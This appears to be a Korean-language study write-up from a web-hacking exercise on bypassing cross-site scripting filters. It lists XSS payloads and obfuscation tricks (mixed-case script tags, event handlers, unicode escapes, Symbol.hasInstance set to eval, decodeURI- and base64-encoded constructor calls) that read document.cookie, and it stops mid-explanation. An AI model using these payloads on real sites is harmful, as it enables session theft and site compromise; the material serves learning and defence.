<img src="" onerror="alert('hi')">
<img src="x.png" onload="alert('hi')">
<input type="text" onfocus="alert('hi')" autofocus>
가령 script라는 문자열을 공백으로 치환한다면,
<sscript><img src=""token tag"></sscript>
와 같이 적어주거나,
대소문자를 구분하지 않는다면
<sCript><img src="" onerror="alert('hi')></scripT>
와 같이 적어주면 된다.
아래는 예제 문제이다.
위의 문제는 script의 대소문자를 구분하지 않으므로 대소문자를 구분하여 적으라는 의도였으나, 어쩌다보니 1번과 2번을 모두 만족하는 풀이를 제출하였다.
3번 문제는 아래와 같이 적어주니, 내 화면에서 alert 문구가 뜨는 것을 확인하였다.
그래서 내 화면이 아닌 부모 화면에서 alert를 뜨게 하기 위해 parent.alert로 설정해주었다.
<script> alert(document.cookie); </script>
<script> \u0061lert(document.cookie); </script>
<script> \u0061lert(document["coo"+"kie"]); </script>
<script> window['\u0061lert'](document["\u0067oo"+"kie"]); </script>
<script> window['\x61lert'](document["\u0067oo"+"kie"]); </script>
<script> this['\u0061lert'](document["\u0063ook" + "ie"]); </script>
<script> self['\u0061lert'](document["\u0063ook" + "ie"]); </script>
let start = "hello";
let fin = "world";
let print = `${start}, ${fin}`; // hello, world
let start = /hello/.source;
let fin = /world/.source +[3];
let print = `${start}, ${fin}`; // hello, world3
let start = String.fromCharCode(104, 101, 108, 108, 111) // hello
let fin = String.fromCharCode(119, 111, 114, 108, 100) // world
let print = `${start}, ${fin}`; // hello, world
let start = document.toString()[8] + history.toString()[9]; // Hi
let fin = (URL+0)[12] + (URL+0)[13]; // ()
let print = `${start} ${fin}`; // Hi ()
let start = 29234652..toString(36); // hello
symbol은 javascript의 새로운 원시 타입으로, 고유한 값을 가지며 객체 속성의 식별자로 이용한다.
-원시 타입 : Strings, Boolean 등
Symbol.hasInstance 속성 : 객체의 생성자가 함수의 인스턴스인지 확인하는데 사용하는 메소드
"alert\x28document.domain\x29" instanceof {[Symbol.hasInstance]:eval};
{} 빈 객체의 Symbo.hasInstance 속성 값을 eval로 설정하고, eval 함수이기 때문에 alert 함수가 실행되는 것이다.
Array.prototype[Symbol.hasInstance]=eval;
"alert\x28document.domain\x29" instanceof [];
javascript는 prototype기반 언어로 모든 객체들은 속성과 메소드를 상속받기 위해 prototype 객체를 가진다. 따라서 Array함수의 Prototype에 Symbol.hasInstance를 key로 값을 설정하면 모든 배열은 해당 속성을 상속받게 된다.
그러므로 Array.prototype[Symbol.hasInstance]를 eval 함수로 설정했으므로 아래 코드도 eval로 실행하게 된다.
예제 문제를 풀어보면,
1번은 간단하게 유니코드로, 혹은 window를 대체하는 this나 self로 우회할 수 있다.
2번 문제는 필터링되는 단어가 많다.
그렇기에 constructor 속성을 이용함과 동시에 필터링을 우회하기 위해 디코딩을 진행해주면 해결할 수 있다.
Array.constructor(alert(document.cookie));
Array[decodeURI('%63%6f%6e%73%74%72%75%63%74%6f%72')]
(decodeURI('%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29'))();
끝에 ()를 통해 해당 함수를 호출하여 실행한다.
또는, base64로 인코딩된 문자를 디코딩하여 해결할 수 있다.
base64로 인코딩된 문자를 디코딩하는 함수는 atob이며,
Array[atob('Y29uc3RydWN0b3I')]
(atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ'))();
원리는 위와 같다.
3번 문제는 앞서 설명했던 regex 표현식과 내장 객체를 이용하면 된다.
다만 조금 더 신경써야 할 부분은 중괄호를 허용하지 않으므로
(URL+0)[12]
URL.toString()[12]
과 같은 표현을 사용할 수 없다.
이들 모두 대괄호로 표현해야하므로 아래와 같은 표현을 써야한다.